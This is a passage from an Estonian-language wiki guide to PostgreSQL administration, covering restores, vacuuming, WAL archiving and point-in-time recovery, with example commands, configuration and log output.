 postgres=# create role kasutajanimi login password 'fakeparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
uue baasi moodustamine (template = template0 LC_COLLATE = 'C.UTF-8' LC_CTYPE = 'C.UTF-8' on näiteks)&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database baasinimi owner = kasutajanimi template = template0 LC_COLLATE = 'C.UTF-8' LC_CTYPE = 'C.UTF-8';&lt;br /&gt;
&lt;br /&gt;
Sisselaadimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ /usr/lib/postgresql/9.4/bin/pg_restore -d baasinimi -O -h 127.0.0.1 -U kasutajanimi baasinimi-20180922-94.dump&lt;br /&gt;
Password:&lt;br /&gt;
pg_restore: [archiver (db)] Error while PROCESSING TOC:&lt;br /&gt;
pg_restore: [archiver (db)] Error from TOC entry 8746; 0 0 COMMENT EXTENSION plpgsql&lt;br /&gt;
pg_restore: [archiver (db)] could not execute query: ERROR:  must be owner of extension plpgsql&lt;br /&gt;
    Command was: COMMENT ON EXTENSION plpgsql IS 'PL/pgSQL procedural language';&lt;br /&gt;
 &lt;br /&gt;
pg_restore: WARNING:  no privileges could be revoked for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges could be revoked for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges were granted for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges were granted for &amp;quot;public&amp;quot;&lt;br /&gt;
WARNING: errors ignored on restore: 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -O kasutada ilma owner käskudeta&lt;br /&gt;
* - tõneäoliselt saab mõned praktiliselt ebaolulised vead/hoiatused&lt;br /&gt;
&lt;br /&gt;
====reassing====&lt;br /&gt;
&lt;br /&gt;
Protseduuri puhul toimub andmete sisselaadimine uude andmebaasi privilegeerimata kasutajana. Moodustada -Fc dump&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_dump -Fc -f baasinimi-20180922-94.dump baasinimi&lt;br /&gt;
&lt;br /&gt;
uue kasutaja moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create role uuskasutajanimi login password 'fakeparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
uue baasi moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database baasinimi owner = uuskasutajanimi;&lt;br /&gt;
&lt;br /&gt;
andmete sisselaadimine baasi ülikasutajana (postgres)&lt;br /&gt;
&lt;br /&gt;
 postgres$ /usr/lib/postgresql/9.4/bin/pg_restore -d baasinimi baasinimi-20180922-94.dump&lt;br /&gt;
&lt;br /&gt;
Tundun, et see reassing mõjub ühe create database andmebaasi piires; selles, millega on parasjagu ühendus&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; reassign owned by vanakasutajanimi to uuskautajanimi;&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi vakuumimine===&lt;br /&gt;
&lt;br /&gt;
Töötavat PostgreSQL andmebaasi tuleb regulaarselt vakuumida (ingl. k. vacuum) nt sellistel põhjustel&lt;br /&gt;
&lt;br /&gt;
* päringud muutuvad kiiremaks kuna planner saab kasutada otsuste tegemisel tegelikkusele enam vastavat infot&lt;br /&gt;
* andmebaasi andmekluster võtab failisüsteemis vähem ruumi&lt;br /&gt;
&lt;br /&gt;
Vakuumimiseks on kaks võimalust&lt;br /&gt;
&lt;br /&gt;
* käsitsi vakuumimine - nt crontab abiga käivitatakse vakuumimist sooritav sql lause&lt;br /&gt;
* autovacuum - andmebaas nö sisemiste vahendite abil otsustab kunas ja mida vakuumida&lt;br /&gt;
&lt;br /&gt;
====Käsitsi vakuumimine====&lt;br /&gt;
&lt;br /&gt;
Käsitsi vakuumimine käib põhimõtteliselt öeldes tabeli või baasi kohta (mis tähendab, et tegeldakse baasi kõigi tabelitega)&lt;br /&gt;
&lt;br /&gt;
 $ psql -h localhost portaal -U postgres -c &amp;quot;vacuum verbose analyze&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nt võiks kutsuda crontabist välja sellist skripti kord ööpäevas&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 renice 19 -p $$ 1&amp;gt;/dev/null&lt;br /&gt;
 export PGPASSWORD=parool&lt;br /&gt;
 nyyd=`date +%Y%m%d`&lt;br /&gt;
 export HOSTNAME=10.100.6.88&lt;br /&gt;
 export PGPORT=5432&lt;br /&gt;
 export PGUSER=postgres&lt;br /&gt;
 &lt;br /&gt;
 mkdir /srv/backup/postgresql/vacuum-logs/$nyyd&lt;br /&gt;
 &lt;br /&gt;
 psql_baasid=`/usr/local/postgresql/bin/psql -h $HOSTNAME -p$PGPORT template1 -U $PGUSER -c &amp;quot;\l&amp;quot; \&lt;br /&gt;
 | sed -e '1,3d' | sed -e '$d' | sed -e '$d' | awk {'print $1'}`&lt;br /&gt;
 &lt;br /&gt;
 for i in $psql_baasid&lt;br /&gt;
   do&lt;br /&gt;
     if test &amp;quot;$i&amp;quot; != &amp;quot;template0&amp;quot; &amp;amp;&amp;amp; test &amp;quot;$i&amp;quot; != &amp;quot;template1&amp;quot; &amp;amp;&amp;amp; test &amp;quot;$i&amp;quot; != &amp;quot;postgres&amp;quot;; then&lt;br /&gt;
       /usr/local/postgresql/bin/psql -h $HOSTNAME -p$PGPORT $i -U $PGUSER -c &amp;quot;vacuum verbose analyze&amp;quot; \&lt;br /&gt;
         1&amp;gt;/data/backup/postgresql/vacuum-logs/$nyyd/$HOSTNAME-$nyyd-pg_$i-vacuum-analyze-5432.txt 2&amp;gt;&amp;amp;1;&lt;br /&gt;
         echo &amp;quot;exit code: $?&amp;quot; &amp;gt;&amp;gt; /data/backup/postgresql/vacuum-logs/$nyyd/$HOSTNAME-$nyyd-pg_$i-vacuum-analyze-5432.txt&lt;br /&gt;
     fi&lt;br /&gt;
   done&lt;br /&gt;
&lt;br /&gt;
seejuures tuleb tähele panna, et&lt;br /&gt;
&lt;br /&gt;
* ps auxe esitab vakumeerimise ajal protsesside keskkonnamuutujate väärtused ning kui süsteemis saavad anda käske asjassepuutumatud kasutajad, siis on neil võimalik saada teada see parool&lt;br /&gt;
&lt;br /&gt;
Vakuumimisega seotud ressurssikasutust saab kontrollida /srv/postgresql/postgresql.conf seadistusfaili parameetritega, http://www.postgresql.org/docs/8.3/static/runtime-config-resource.html#RUNTIME-CONFIG-RESOURCE-VACUUM-COST&lt;br /&gt;
&lt;br /&gt;
  # - Cost-Based Vacuum Delay -&lt;br /&gt;
  &lt;br /&gt;
  vacuum_cost_delay = 10                  # 0-1000 milliseconds&lt;br /&gt;
  #vacuum_cost_page_hit = 1               # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_page_miss = 10             # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_page_dirty = 20            # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_limit = 200                # 1-10000 credits&lt;br /&gt;
&lt;br /&gt;
kus &lt;br /&gt;
&lt;br /&gt;
* vacuum_cost_delay = 10 - vähendab plokkseadme I/O kasutust&lt;br /&gt;
&lt;br /&gt;
Vahel võib vakuumi logist leida huvitavaid teateid, nt selline, siis tuleks postgresql.conf failis max_fsm_pages parameetri väärtust varuga vastavalt suurendada&lt;br /&gt;
&lt;br /&gt;
  NOTICE:  number of page slots needed (1875152) exceeds max_fsm_pages (1400000)&lt;br /&gt;
  HINT:  Consider increasing the configuration parameter &amp;quot;max_fsm_pages&amp;quot; to a value over 1875152.&lt;br /&gt;
&lt;br /&gt;
Kui nö tavaline vacuum ei saavuta soovitud tulemus, sobib proovida vacuum full&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; \c andmebaas&lt;br /&gt;
 sql&amp;gt; vacuum full;&lt;br /&gt;
&lt;br /&gt;
seejuures tuleb arvestada, et&lt;br /&gt;
&lt;br /&gt;
* parem kui vacuum full ajal rakendused baasi ei kasuta&lt;br /&gt;
* vacuum full võtab palju aega ja tekitab tugeva IO koormuse&lt;br /&gt;
* vacuum full kasutab ajutisel sama palju ruumi kui andmebaasi ise (õieti kõige suurem tabel)&lt;br /&gt;
&lt;br /&gt;
====Autovacuum====&lt;br /&gt;
&lt;br /&gt;
Autovacuum võib olla sisselülitatud või väljalülitatud kusjuures autovacuum juhtub igal juhul automaatsel kui mõne tabeli pg_class.relfrozenxid suurus ületab seadistusfailis näidatud väärtused (vaikimisi 200 M).&lt;br /&gt;
&lt;br /&gt;
 autovacuum_freeze_max_age (integer)&lt;br /&gt;
 &lt;br /&gt;
 Specifies the maximum age (in transactions) that a table's pg_class.relfrozenxid field can attain before a VACUUM operation is &lt;br /&gt;
 forced  to prevent transaction ID wraparound within the table. Note that the system will launch autovacuum processes to prevent&lt;br /&gt;
 wraparound even when autovacuum is otherwise disabled. The default is 200 million transactions. This parameter can only be set&lt;br /&gt;
 at server start, but the setting can be reduced for individual tables by entries in pg_autovacuum.&lt;br /&gt;
&lt;br /&gt;
Autovacuum toimimist iseloomustavad tabeli vastavad tulbad&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select * from pg_stat_user_tables;&lt;br /&gt;
&lt;br /&gt;
===Andmete varundamine ja taaste WAL logide abil===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL abil saab andmeid varundada nn Full, Differential ja Incremental viisil&lt;br /&gt;
&lt;br /&gt;
* full - varundatud andmetest piisab varundamise hetkel töötanud andmebaasi seisu taastamiseks&lt;br /&gt;
* differential - varundatud andmetest ja ning viimasest full backupist piisab viimase differential varundamise hetkel töötanud andmebaasi seisu taastamiseks; iga differential backupi tegemisel varundatakse kõik viimasest fullile järgnenud muudatused&lt;br /&gt;
* incremental - varundatud andmetest, kõigist viimase full backupist alatest tehtud muudest incrementalitest ja full backupist piisab viimase differential varundamise hetkel töötanud andmebaasi seisu taastamiseks; iga incremental backupi teegmisel varundatakse kõik viimati tehtud incrementalile järgnenud muudatused&lt;br /&gt;
&lt;br /&gt;
Et võimalikest crash-situatsioonidest paremini välja tulla, kirjutab PostgreSQL kõik andmebaasi suhtes sooritatud tegevused andmeklustri alamkataloogi pg_xlog spetsiaalses formaadis logifailidesse, nn WAL (ingl. k. write ahead log) logidesse. Töötamise ajal võiks see kataloog välja näha nt selline&lt;br /&gt;
&lt;br /&gt;
  $ find /data/postgresql/pg_xlog/ -ls&lt;br /&gt;
  7913473    4 drwx------   3 postgres postgres     4096 Apr  5 15:21 /data/postgresql/pg_xlog/&lt;br /&gt;
  7913480 16404 -rw-------   1 postgres postgres 16777216 Apr  5 15:14 /data/postgresql/pg_xlog/000000040000004600000081&lt;br /&gt;
  7913476 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:08 /data/postgresql/pg_xlog/00000004000000460000007E&lt;br /&gt;
  7913478 16404 -rw-------   1 postgres postgres 16777216 Apr  5 13:49 /data/postgresql/pg_xlog/00000004000000460000007D&lt;br /&gt;
  7913485 16404 -rw-------   1 postgres postgres 16777216 Apr  5 13:23 /data/postgresql/pg_xlog/00000004000000460000007C&lt;br /&gt;
  7913474    4 drwx------   2 postgres postgres     4096 Apr  5 15:21 /data/postgresql/pg_xlog/archive_status&lt;br /&gt;
  7913487    0 -rw-------   1 postgres postgres        0 Apr  5 00:23 /data/postgresql/pg_xlog/archive_status/00000004.history.done&lt;br /&gt;
  7913475    0 -rw-------   1 postgres postgres        0 Apr  5 06:03 /data/postgresql/pg_xlog/archive_status/000000040000004600000066.00557058.backup.done&lt;br /&gt;
  7913477 16404 -rw-------   1 postgres postgres 16777216 Apr  5 15:34 /data/postgresql/pg_xlog/00000004000000460000007A&lt;br /&gt;
  7913483    4 -rw-------   1 postgres postgres      243 Apr  5 06:03 /data/postgresql/pg_xlog/000000040000004600000066.00557058.backup&lt;br /&gt;
  7913486    4 -rw-------   1 postgres postgres       74 Apr  5 00:23 /data/postgresql/pg_xlog/00000004.history&lt;br /&gt;
  7913488 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:52 /data/postgresql/pg_xlog/000000040000004600000080&lt;br /&gt;
  7913479 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:30 /data/postgresql/pg_xlog/00000004000000460000007F&lt;br /&gt;
  7913481 16404 -rw-------   1 postgres postgres 16777216 Apr  5 12:57 /data/postgresql/pg_xlog/00000004000000460000007B&lt;br /&gt;
&lt;br /&gt;
Selleks, et vähendada andmekadu, loetakse crash-situatsioonist väljudes viimasele checkpoint'ile otsa andmed WAL logist.&lt;br /&gt;
&lt;br /&gt;
Kuigi tavaliselt pg_xlog kataloogis olevaid faile roteeritakse vastavalt checkpointide juhtumisele, siis on võimalik ka enne roteerimist vanemad WAL logid kopeerida eraldi kataloogi selleks, et neid vajadusel kasutada mõnele mineviku ajahetkele vastava andmebaasi seisu taastamiseks. Seda tegevust nimetatakse WAL logide arhiveerimiseks.&lt;br /&gt;
&lt;br /&gt;
Et WAL logide abil saaks andmebaasi taastada tuleb teha sellised ettevalmistused&lt;br /&gt;
&lt;br /&gt;
* käivitada andmebaas WAL logisid arhiveerivas režiimis&lt;br /&gt;
* kopeerida arhiveeritud WAL logid varundusse (st kuhugi teise andmete varundamisega tegelevasse arvutisse)&lt;br /&gt;
* salvestada andmebaasi nn täiskoopia varundusse&lt;br /&gt;
&lt;br /&gt;
WAL logide abil andmebaasi taastamine toimub sellise järgnevusena&lt;br /&gt;
&lt;br /&gt;
* andmebaasi protsesside töö on lõpetatud&lt;br /&gt;
* varundusest kopeeritakse andmeklustri kataloogi varem salvestatud nn täiskoopia&lt;br /&gt;
* andmebaasile tehakse kättesaadavaks arhiveeritud WAL logid, nt ühendades andmebaasi arvutile külge üle NFS'i&lt;br /&gt;
* andmebaasi käivitatakse WAL logisid peale lugevas režiimis&lt;br /&gt;
&lt;br /&gt;
Lisaks taastamisele sobib see tehnika nt töötava andmebaasi kõrvale teise arvutisse andmebaasi mingi seisu moodustamiseks. Tundub, et wal logide järgnevuse kasutamist ei sega, kui selle logi tekkimise ajal on andmebaas crashinud.&lt;br /&gt;
&lt;br /&gt;
====WAL logide arhiveerimine====&lt;br /&gt;
&lt;br /&gt;
WAL logide arhiveerimise sisselülitamiseks tuleb tuleb näidata seadistusfailis ära kahe parameetri väärtused nt selliselt ning muudatuse kehtestamiseks andmebaas seisata ja käivitada&lt;br /&gt;
&lt;br /&gt;
  archive_mode = on               # allows archiving to be done&lt;br /&gt;
  archive_command = 'test ! -f /data/backup/postgresql/archive-logs/%f &amp;amp;&amp;amp; cp %p /data/backup/postgresql/archive-logs/%f'&lt;br /&gt;
  # archive_timeout = 60&lt;br /&gt;
&lt;br /&gt;
* arhive_mode - lülitab sisse andmebaasi tavalise töö taustal wal logide kirjutamise&lt;br /&gt;
* archive_command - näitab kuhu wal logid kopeerida&lt;br /&gt;
* archive_timeout - näitab millise ajalise intervalliga järmine WAL logi fail tekitatakse; kui parameetrit ei kasutata, siis moodustatakse järgmine andmete kogunemise mahu alusel&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad /data/backup/postgresql/archive-logs kataloogi sellised failid&lt;br /&gt;
&lt;br /&gt;
  ...&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 07:23 000000040000004600000067&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 08:12 000000040000004600000068&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 08:53 000000040000004600000069&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 09:23 00000004000000460000006A&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 09:53 00000004000000460000006B&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 10:20 00000004000000460000006C&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 10:40 00000004000000460000006D&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
====Andmeklastri failisüsteemi täiskoopia salvestamine====&lt;br /&gt;
&lt;br /&gt;
Andmebaasi töö käigus andmeklastri failisüsteemist koopiat tehes tuleb see failisüsteem viia nö kooskõlalisse olekusse. Selleks sobib kasutada sellist järgnevust&lt;br /&gt;
 &lt;br /&gt;
* peatame andmeklustrisse muudatuste kirjutamise&lt;br /&gt;
&lt;br /&gt;
  $ psql -U postgres postgres -c &amp;quot;select pg_start_backup('backup');&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* kopeerida andmeklastri sisu varundusarvutisse, nt rsync abil&lt;br /&gt;
* jätkame andmeklastrisse muudatuste kirjutamist&lt;br /&gt;
&lt;br /&gt;
  $ psql -U postgres postgres -c &amp;quot;select pg_stop_backup();&amp;quot;&lt;br /&gt;
&lt;br /&gt;
See ei ole eriti oluline kui kaua süsteem on peatatud muudatuste kirjutamise olekus, praktiliselt ei ole hullu kui ta on seal ka mitu tundi. Alternatiiv on &lt;br /&gt;
&lt;br /&gt;
* öelda pg_start_backup&lt;br /&gt;
* moodustada andmeklastrist LVM snapshot&lt;br /&gt;
* öelda pg_stop_backup&lt;br /&gt;
* ühendada snapshot külge ja kopeerida andmed varundusarvutisse&lt;br /&gt;
* ühendada snapshot lahti ja kustutada snapshot&lt;br /&gt;
&lt;br /&gt;
====Andmebaasi taastamine WAL logide abil kuni võimalikult kaugele====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi arvutis juhtunud mingi selline sündmus, mille tulemusena tuleb varundusest andmebaas taastada võimalikult kaugele, st võimalikult väikese andmekaoga.&lt;br /&gt;
&lt;br /&gt;
Lähtepunktiks on tarvis nelja asja&lt;br /&gt;
&lt;br /&gt;
* Samal arhitektuuril ja versiooniga andmebaasi nn binari install kui see, mida varundati&lt;br /&gt;
* andmeklustri failisüsteemi täiskoopia&lt;br /&gt;
* peale täiskoopia moodustamist kogunenud WAL logid, vähemalt kuni 'select pg_stop_backup();' ütlemiseni&lt;br /&gt;
* veel arhiveerimata WAL logid kataloogist pg_xlog (kui need on olemas ja võimalusel kopeerida suletud andmebaasi tingimustes)&lt;br /&gt;
&lt;br /&gt;
Andmebaasi saab taastada sellise tegevuste järgnevuse abil&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi mootor ei käi&lt;br /&gt;
* Kopeerida andmebaasi andmeklustri failisüsteemi (nt /srv/postgresql) varundamise käigus moodustatud täiskoopia&lt;br /&gt;
* Kustutada /srv/postgresql/pg_xlog kataloogist failid (alamkaataloog archive_status alles jätta, uuemal ajal võib ka selle kustutada, moodustatakse automaatselt tagasi, v 8.4 ja 9.0 puhul)&lt;br /&gt;
&lt;br /&gt;
  $ find /srv/postgresql/pg_xlog -type f -exec rm {} \;&lt;br /&gt;
&lt;br /&gt;
* Kui on võimaik, kopeerida viimati töötanud andmebaasi failisüsteemist /srv/postgresql/pg_xlog kataloogist failid taastatava arvuti vastavasse kataloogi&lt;br /&gt;
* Tekitada nt sellise sisuga fail /srv/postgresql/recovery.conf andmeklusteri kataloogi, fail peab olema postgres kasutaja oma, sest peale protseduuri lõppu nimetatakse see fail ringi recovery.done nimega; restore_command näitab, kus WAL logid asuvad&lt;br /&gt;
&lt;br /&gt;
  restore_command = 'cp /srv/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
&lt;br /&gt;
* Paigutada WAL logid kataloogi /srv/backup/postgresql/archive-logs&lt;br /&gt;
* Andmeklustri kataloogis peab olema fail backup_label, millest saab süsteem taasteks kasutatava esimese wal logi faili nime teada, tegevuse käigus nimetatakse see ümber backup_label.old'iks&lt;br /&gt;
* Ajutiselt baasi seadistusfailist WAL logide arhiveerimist välja lülitada ei ole vaja&lt;br /&gt;
* Käivitada andmebaas tavapäraselt viisil&lt;br /&gt;
&lt;br /&gt;
Käivitamisel tekivad sellised sissekanded andmebaasi logisse&lt;br /&gt;
&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  1 2009-04-04 23:53:33 EEST 0 LOG:  database system was interrupted; last known up at 2009-04-04 22:13:52 EEST&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  2 2009-04-04 23:53:33 EEST 0 LOG:  starting archive recovery&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  3 2009-04-04 23:53:33 EEST 0 LOG:  restore_command = 'cp /data/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  4 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;000000010000004600000059&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  5 2009-04-04 23:53:33 EEST 0 LOG:  automatic recovery in progress&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  6 2009-04-04 23:53:33 EEST 0 LOG:  redo starts at 46/59DB60E0&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  7 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005A&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:35 EEST    7318  49d7c8cd.1c96  8 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005B&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:35 EEST    7318  49d7c8cd.1c96  9 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005C&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:36 EEST    7318  49d7c8cd.1c96  10 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005D&amp;quot; from archive&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001000000460000005E' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  11 2009-04-04 23:53:33 EEST 0 LOG:  record with zero length at 46/5E2CC3A0&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  12 2009-04-04 23:53:33 EEST 0 LOG:  redo done at 46/5E2CC358&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  13 2009-04-04 23:53:33 EEST 0 LOG:  last completed transaction was at log time 2009-04-04 23:47:30.504329+03&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001000000460000005E' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  14 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000002.history&amp;quot; from archive&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000003.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  15 2009-04-04 23:53:33 EEST 0 LOG:  selected new timeline ID: 3&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:38 EEST    7318  49d7c8cd.1c96  16 2009-04-04 23:53:33 EEST 0 LOG:  archive recovery complete&lt;br /&gt;
  2009-04-04 23:53:52 EEST    7316  49d7c8cd.1c94  2 2009-04-04 23:53:33 EEST 0 LOG:  database system is ready to accept connections&lt;br /&gt;
&lt;br /&gt;
Korrektsel juhutumil hakatakse kasutama logisid alates sellest failis mis on backup_label failis kirjas stop wal location juures.&lt;br /&gt;
&lt;br /&gt;
Ehk on ka logide sisselugemisel huvitav jälgida millised postgres kasutaja protsessid samal aja töötavad&lt;br /&gt;
&lt;br /&gt;
  $ ps aux | grep postgres&lt;br /&gt;
  ...&lt;br /&gt;
  postgres  2080 13.0 12.7 1125532 1073016 ?     Ss   21:48   1:30 postgres: startup process   waiting for 00000001000000460000005B&lt;br /&gt;
  postgres  2468  9.0  0.0   9420   732 ?        D    22:00   0:00 cp /mnt/archive-logs/00000001000000460000005B pg_xlog/RECOVERYXLOG&lt;br /&gt;
&lt;br /&gt;
Peale logide sisselugemist jääb andmebaas käima nö kasutataval kujul. Kui protseduuri käigus oli WAL logide arhiveerimine välja lülitatud, tuleks baas siiski korraks kinni panna, logimine sisse lülitada ning uuesti käivitada.&lt;br /&gt;
&lt;br /&gt;
====Andmebaasi taastamine WAL logide abil kuni ettenähtud ajahetkeni====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi arvutis juhtunud mingi selline sündmus, mille tulemusena tuleb varundusest andmebaas taastada ettenähtud ajahetkeni (ingl. k. PITR - Point in Time Recovery).&lt;br /&gt;
&lt;br /&gt;
Lähtepunktiks on tarvis kolme asja&lt;br /&gt;
&lt;br /&gt;
* Samal arhitektuuril ja versiooniga andmebaasi nn binari install kui see, mida varundati&lt;br /&gt;
* andmeklustri failisüsteemi täiskoopia&lt;br /&gt;
* peale täiskoopia moodustamist kogunenud WAL logid, vähemalt kuni 'select pg_stop_backup();' ütlemiseni&lt;br /&gt;
&lt;br /&gt;
Andmebaasi saab taastada sellise tegevuste järgnevuse abil&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi mootor ei käi&lt;br /&gt;
* Kopeerida andmebaasi andmeklustri failisüsteemi (nt /srv/postgresql) varundamise käigus moodustatud täiskoopia&lt;br /&gt;
* Kustutada /srv/postgresql/pg_xlog kataloogist failid (alamkaataloog archive_status alles jätta)&lt;br /&gt;
&lt;br /&gt;
  $ find /data/postgresql/pg_xlog -type f -exec rm {} \;&lt;br /&gt;
&lt;br /&gt;
* Andmeklustri kataloogis peab olema fail backup_label, millest saab süsteem taasteks kasutatava esimese wal logi faili nime teada, tegevuse käigus nimetatakse see ümber backup_label.old'iks&lt;br /&gt;
* Tekitada nt sellise sisuga fail /srv/postgresql/recovery.conf andmeklusteri kataloogi, fail peab olema postgres kasutaja oma, sest peale protseduuri lõppu nimetatakse see fail ringi recovery.done nimega; restore_command näitab, kus WAL logid asuvad (http://www.postgresql.org/docs/8.3/static/datetime-keywords.html)&lt;br /&gt;
&lt;br /&gt;
  restore_command = 'cp /srv/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
  recovery_target_time = '2009-04-20 22:39:00 EETDST'&lt;br /&gt;
&lt;br /&gt;
* Paigutada WAL logid kataloogi /srv/backup/postgresql/archive-logs&lt;br /&gt;
* Lülitada ajutiselt baasi seadistusfailis WAL logide arhiveerimine välja&lt;br /&gt;
* Käivitada andmebaas tavapäraselt viisil&lt;br /&gt;
&lt;br /&gt;
Peale logide sisselugemist jääb andmebaas käima nö kasutataval kujul. Kuna protseduuri käigus oli WAL logide arhiveerimine välja lülitatud, tuleks baas siiski korraks kinni panna, logimine sisse lülitada ning uuesti käivitada.&lt;br /&gt;
&lt;br /&gt;
Ajahetkeni taastamisel tekib selline log, muuhulgas öeldakse kuhu maani taastati&lt;br /&gt;
&lt;br /&gt;
  2009-04-24 22:15:14 EEST    2655  49f20e37.a5f  150 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;000000040000004C0000004C&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:15 EEST    2655  49f20e37.a5f  151 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;000000040000004C0000004D&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  152 2009-04-24 22:08:39 EEST 0 LOG:  recovery stopping before commit of transaction 95521631, time 2009-04-20 22:39:00.001938+03&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  153 2009-04-24 22:08:39 EEST 0 LOG:  redo done at 4C/4D8E6BD0&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  154 2009-04-24 22:08:39 EEST 0 LOG:  last completed transaction was at log time 2009-04-20 22:38:59.779467+03&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000005.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  155 2009-04-24 22:08:39 EEST 0 LOG:  selected new timeline ID: 5&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  156 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;00000004.history&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:17 EEST    2655  49f20e37.a5f  157 2009-04-24 22:08:39 EEST 0 LOG:  archive recovery complete&lt;br /&gt;
  2009-04-24 22:15:46 EEST    2653  49f20e36.a5d  2 2009-04-24 22:08:38 EEST 0 LOG:  database system is ready to accept connections&lt;br /&gt;
&lt;br /&gt;
Ajahetkeni taastamisel peab arvestama, et see aega saab olla peale pg_stop_backup ütlemise ajahetke ja arusaadaval ei saa see olla hilisem kui on kasutada wal logisid.&lt;br /&gt;
&lt;br /&gt;
====Varundamise monitooring Nagiose passiivse kontrolliga====&lt;br /&gt;
&lt;br /&gt;
Varundamise skript lõppu tuleb lisada&lt;br /&gt;
&lt;br /&gt;
 if [ $ec_psql -eq 0 ] &amp;amp;&amp;amp; [ $ec_rsync -eq 0 -o $ec_rsync -eq 24 ]; then&lt;br /&gt;
   echo -e &amp;quot;db.loomaaed\tbackup\t0\tbackup korras&amp;quot; | send_nsca -c /etc/send_nsca.cfg -H mon.loomaaed -p 5667&lt;br /&gt;
 else&lt;br /&gt;
